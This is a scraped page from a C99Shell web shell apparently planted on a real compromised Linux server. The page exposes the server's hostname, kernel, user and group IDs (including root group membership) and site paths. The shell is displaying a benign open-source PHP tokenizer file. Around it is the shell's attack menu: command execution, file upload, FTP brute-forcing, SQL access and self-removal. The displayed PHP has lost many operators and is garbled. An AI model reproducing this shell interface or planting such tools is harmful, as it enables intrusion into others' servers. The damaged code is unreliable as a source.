!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/theseer/tokenizer/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Tokenizer.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types 1);
namespace 
TheSeer\Tokenizer;

class 
Tokenizer {

    
/**
     * Token Map for "non-tokens"
     *
     * @var array
     */
    
private $map = [
        
'(' => 'T_OPEN_BRACKET',
        
')' => 'T_CLOSE_BRACKET',
        
'[' => 'T_OPEN_SQUARE',
        
']' => 'T_CLOSE_SQUARE',
        
'{' => 'T_OPEN_CURLY',
        
'}' => 'T_CLOSE_CURLY',
        
';' => 'T_SEMICOLON',
        
'.' => 'T_DOT',
        
',' => 'T_COMMA',
        
'=' => 'T_EQUAL',
        
'<' => 'T_LT',
        
'>' => 'T_GT',
        
'+' => 'T_PLUS',
        
'-' => 'T_MINUS',
        
'*' => 'T_MULT',
        
'/' => 'T_DIV',
        
'?' => 'T_QUESTION_MARK',
        
'!' => 'T_EXCLAMATION_MARK',
        
':' => 'T_COLON',
        
'"' => 'T_DOUBLE_QUOTES',
        
'@' => 'T_AT',
        
'&' => 'T_AMPERSAND',
        
'%' => 'T_PERCENT',
        
'|' => 'T_PIPE',
        
'$' => 'T_DOLLAR',
        
'^' => 'T_CARET',
        
'~' => 'T_TILDE',
        
'`' => 'T_BACKTICK'
    
];

    public function 
parse(string $source): TokenCollection {
        
$result = new TokenCollection();

        if (
$source === '') {
            return 
$result;
        }

        
$tokens \token_get_all($source);

        
$lastToken = new Token(
            
$tokens[0][2],
            
'Placeholder',
            
''
        
);

        foreach (
$tokens as $pos => $tok) {
            if (
\is_string($tok)) {
                
$token = new Token(
                    
$lastToken->getLine(),
                    
$this->map[$tok],
                    
$tok
                
);
                
$result->addToken($token);
                
$lastToken $token;

                continue;
            }

            
$line   $tok[2];
            
$values \preg_split('/\R+/Uu'$tok[1]);

            if (!
$values) {
                
$result->addToken(
                    new 
Token(
                        
$line,
                        
\token_name($tok[0]),
                        
'{binary data}'
                    
)
                );

                continue;
            }

            foreach (
$values as $v) {
                
$token = new Token(
                    
$line,
                    
\token_name($tok[0]),
                    
$v
                
);
                
$lastToken $token;
                
$line++;

                if (
$v === '') {
                    continue;
                }

                
$result->addToken($token);
            }
        }

        return 
$this->fillBlanks($result$lastToken->getLine());
    }

    private function 
fillBlanks(TokenCollection $tokensint $maxLine): TokenCollection {
        
$prev = new Token(
            
0,
            
'Placeholder',
            
''
        
);

        
$final = new TokenCollection();

        foreach (
$tokens as $token) {
            
$gap $token->getLine() - $prev->getLine();

            while (
$gap 1) {
                
$linebreak = new Token(
                    
$prev->getLine() + 1,
                    
'T_WHITESPACE',
                    
''
                
);
                
$final->addToken($linebreak);
                
$prev $linebreak;
                
$gap--;
            }

            
$final->addToken($token);
            
$prev $token;
        }

        
$gap $maxLine $prev->getLine();

        while (
$gap 0) {
            
$linebreak = new Token(
                
$prev->getLine() + 1,
                
'T_WHITESPACE',
                
''
            
);
            
$final->addToken($linebreak);
            
$prev $linebreak;
            
$gap--;
        }

        return 
$final;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--